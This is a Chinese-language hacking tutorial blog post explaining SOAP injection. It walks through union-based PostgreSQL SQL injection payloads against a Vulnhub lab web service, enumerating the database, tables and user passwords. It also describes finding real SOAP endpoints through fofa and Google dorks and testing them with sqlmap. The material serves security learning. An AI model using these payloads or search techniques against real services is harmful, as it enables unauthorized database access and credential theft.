SOAP注入

零基础学黑客,搜索公众号:白帽子左一

另,点击领取黑客入门学习资料包及练手靶场!

soap 注入简介

soap注入就是在webservice 的soap协议,连接web服务和客户端的接口处的注入,通过在发送的soap消息参数内添加注入语句来达到注入效果,常见的有sql注入,也有xml注入,代码注入

什么是soap

首先介绍webservice,webservice是一种跨平台,跨语言的规范,用于不同平台,不同语言间的交互,webservice有三要素,分别为soap,wsdl和uddl,uddl用于提供发布和查询webservice方法,wsdl是webservice服务描述语言,用于web服务说明,它是一个xml文档,用于说明一组soap消息如何访问接口,soap是简单对象访问协议,用于分布式环境的基于信息交换的同行协议,描述传递信息的格式和规范,它可以用于连接web服务和客户端之间的接口,是一个可以在不同操作系统上运行的不同语言编写的程序之间的传输通信协议,格式为xml,soap消息

soap协议又分为soap 1.1 和 soap 1.2 两个版本

这两个协议间的区别在于soap 1.1里存在soapAction请求头,而soap 1.2没有,soap 1.2里用了action来代替,两者的wsdl文件也不同,体现在命名空间和定义service差别里,不过这些对注入没有影响

soap SQL注入

SOAP sql注入原理

soap sql 注入就是攻击者修改发送的soap消息参数,达到发起SQL注入的效果,在服务提供端,soap信息被解析,参数在访问数据库前没有被检测,导致执行sql语句,造成sql注入

soap的消息格式

之前提到过soap的格式为xml的

<?xml version="1.0"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Header>

</soap:Header>

<soap:Body>

<soap:Fault>

</soap:Fault>

</soap:Body>

</soap:Envelope>

Envelope:用于把xml信息标记为soap

header:包含请求信息

Body:包含了请求和相应信息

Fault:包含了发生的错误信息

这里重点关注Body,Body处包含了请求和相应信息,当Body内有存在数据可控时,就有可能存在注入

例如

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  <soap:Body>

    <GetServiceCustomer xmlns="http://tempuri.org/">

      <UserID>string</UserID>

      <ServiceType>string</ServiceType>

      <CO_CODE>string</CO_CODE>

    </GetServiceCustomer>

  </soap:Body>

</soap:Envelope>

如果这里的UserID处的参数被放入数据库查询,就有可能触发漏洞,当然,这里需要知道此处web服务的功能,sql注入一般发生在数据查询处

或者可以去通过查看asmx下的wsdl,wsdl是一个xml,用于说明soap消息及如何使用这些消息,通常形式为asmx?wsdl,后面测试里会提到的

测试环境

这里我们使用vulnhub去测试

首先访问靶机

一般存在注入的地方发生在数据查询处,查看4个功能点功能,AddUser 为添加用户,list 为列举用户,getuser 为获取用户,delete 为删除用户,这里最有可能存在漏洞处为获取用户信息处

点击查看它的消息布局

发现username处为string 此处传入为字符串,可能存在注入

也可以通过查看它的wsdl去分析,去看soap消息及如何使用这些消息

找到getuser处

查看此处的GetUser元素,此处元素为内部创建的子元素,这里子元素名称为username,类型为字符串类型

往下看,查找它的operation,也就是它的操作活动

找到GetUserHttpGetIn 这个可以看作是 Get User Http Get In 为获取用户的输入

以此为突破口进行测试

这个靶场的数据库为PostgreSQL 数据库,那么要用 PostgreSQL注入来做

首先测试下是否有注入

输入 ‘ or 1=1 — qwe

得到结果

再输入 ‘ or 1=2 — qwe

可以说明此处存在注入

这里我们用联合查询的方式去操作,PostgreSQL的联合查询和mysql的十分相似

先用order by去判断字段数,到order by 3时报错

可以看到,此处3个字段超过了,这里为两个字段

接下来查询数据

首先判断显错位

admin’ union select aaa,aaa — qwe

结果报错

因为这里必须是以字符串传入,所以换 admin’ union select ‘aaa’,’aaa’ — qwe 语句去尝试下

两处都为显错位

那么填入我们要查询的数据试下,先查看当前数据库

aaa’ union select current_database(),’ccc’ — qwe

得到当前库名为 vulnerable

由于postgresql数据库和用户相关,所以要先去查看当前用户名以及了解当前用户的权限

语句

aaa’ union select current_user,’ccc’ — qwe

得到结果

用户名为postgres

postgres用户为PostgreSQL数据库的默认用户名,有足够权限去查询其他的库和表

再找表名

aaaa’ union select table_name,’ccc’ from information_schema.tables limit 1 offset 17 — qwe

新版本的PostgreSQL数据库的查询方法和mysql的差不多,都有information_schema 去辅助查询,当然还有其他方法也可以查找,比如利用postgresql数据库的统计收集器pg_stat_database去查询

PostgreSQL数据库里的limit语法和mysql的不同,用法为 limit 1 offset 0

limit 1为列出一条数据, offset 0 为从第0位开始

得到表名user

再查找字段名

bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 0 — qwe

得到第一个字段名为password

查找其他字段

bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 1 — qwe

得到第二个用户名的字段

查找数据

bbb’ union select username,password from users limit 1 offset 1 — qwe

得到结果

SOAP SQL注入查找(初级)

通常而言通过搜索特定后缀去找webservice地址,比如通过在fofa搜索 asmx,asmx是webservice服务程序的后缀名,asp.net 使用 asmx 来进行对webservice的支持,通过fofa上搜索找目标,或者可以使用google语法搜索,inurl:asmx?wsdl,inurl:.php?wsdl inurl:.ashx?wsdl通过去查找webservice的服务描述的xml文档来找寻可能的注入点

SOAP SQL注入查找(进阶)

因为wsdl内的信息过于繁杂,可以借助辅助工具来对wsdl进行分析,常用的有soapui,或者用burp的wsdler模块,都可以分析wsdl来得到

soapui使用

点击file,选择create new project,填入地址

然后就可以对wsdl地址进行解析

burp的wsdler

抓取访问wsdl的数据包,然后右键,选择parse wsdl

得到分析结果,这里可以结合sqlmap使用,把抓到的包保存为txt文件,然后sqlmap去测试

参考连接

http://emonsec.com/web/51995.html

http://ccg-lenovo.com/2020/03/27/SOAP%E6%B3%A8%E5%85%A5/

https://blog.csdn.net/niexinming/article/details/49491643

https://resources.infosecinstitute.com/topic/soap-attack-2/

https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/

https://www.xffbk.cn/archives/23.html

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • WebService介绍 首先我们来谈一下为什么需要学习webService这样的一个技术吧.... 问题一 如果...
    Java3y阅读 13,220评论 5 139
  • ● 请你讲解一下数据连接池的工作机制? 考察点:连接池参考回答: J2EE 服务器启动时会建立一定数量的池连接,并...
    le_u阅读 3,321评论 0 0
  • 资料收集 使用天气调用的webservice进行学习http://www.webxml.com.cn/WebSer...
    夜月行者阅读 18,169评论 0 10
  • 0x00 前言(废话) 项目中有遇到登录验证机制, 用户校验机制一般都是在服务器校验的, 本博客主要介绍Andro...
    Killshadow阅读 6,447评论 0 0
  • 1. 什么是SOAP协议  SOAP 是一种简单的基于 XML 的协议,它底层通过 HTTP 来交换信息。S...
    xieyan0811阅读 12,291评论 0 1

友情链接更多精彩内容